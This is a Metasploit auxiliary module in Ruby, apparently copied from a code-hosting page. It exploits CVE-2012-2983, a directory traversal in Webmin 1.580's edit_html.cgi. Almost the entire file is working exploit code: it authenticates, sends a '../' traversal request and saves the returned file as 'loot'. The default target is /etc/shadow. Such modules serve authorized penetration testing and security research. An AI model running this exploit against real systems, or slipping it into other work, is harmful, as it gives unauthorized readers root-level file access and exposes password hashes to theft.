112 lines
3.5 KiB
Ruby
112 lines
3.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access',
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'Description' => %q{
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This module exploits a directory traversal in Webmin 1.580. The vulnerability
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exists in the edit_html.cgi component and allows an authenticated user with access
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to the File Manager Module to access arbitrary files with root privileges. The
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module has been tested successfully with Webim 1.580 over Ubuntu 10.04.
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},
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'Author' => [
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'Unknown', # From American Information Security Group
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['OSVDB', '85247'],
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['BID', '55446'],
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['CVE', '2012-2983'],
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['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-002.pdf'],
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['URL', 'https://github.com/webmin/webmin/commit/4cd7bad70e23e4e19be8ccf7b9f245445b2b3b80']
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],
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'DisclosureDate' => 'Sep 06 2012',
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'Actions' =>
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[
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['Download']
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],
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'DefaultAction' => 'Download'
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))
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register_options(
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[
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Opt::RPORT(10000),
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OptBool.new('SSL', [true, 'Use SSL', true]),
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OptString.new('USERNAME', [true, 'Webmin Username']),
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OptString.new('PASSWORD', [true, 'Webmin Password']),
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OptInt.new('DEPTH', [true, 'Traversal depth', 4]),
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OptString.new('RPATH', [ true, "The file to download", "/etc/shadow" ])
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], self.class)
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end
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def run
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peer = "#{rhost}:#{rport}"
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print_status("#{peer} - Attempting to login...")
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data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
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res = send_request_cgi(
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{
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'method' => 'POST',
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'uri' => "/session_login.cgi",
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'cookie' => "testing=1",
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'data' => data
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}, 25)
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if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
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session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || ''
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if session and not session.empty?
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print_good "#{peer} - Authentication successful"
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else
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print_error "#{peer} - Authentication failed"
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return
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end
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else
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print_error "#{peer} - Authentication failed"
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return
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end
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print_status("#{peer} - Attempting to retrieve #{datastore['RPATH']}...")
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traversal = "../" * datastore['DEPTH']
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traversal << datastore['RPATH']
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data = "file=#{traversal}&text=1"
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res = send_request_cgi(
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{
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'method' => 'GET',
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'uri' => "/file/edit_html.cgi?#{data}",
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'cookie' => "sid=#{session}"
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}, 25)
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if (res and res.code == 200 and res.body =~ /#{traversal}/ and res.body =~ /name=body>(.*)<\/textarea>/m)
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loot = $1
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f = ::File.basename(datastore['RPATH'])
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path = store_loot('webmin.file', 'application/octet-stream', rhost, loot, f, datastore['RPATH'])
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print_status("#{peer} - #{datastore['RPATH']} saved in #{path}")
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else
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print_error("#{peer} - Failed to retrieve the file")
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return
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end
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end
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end
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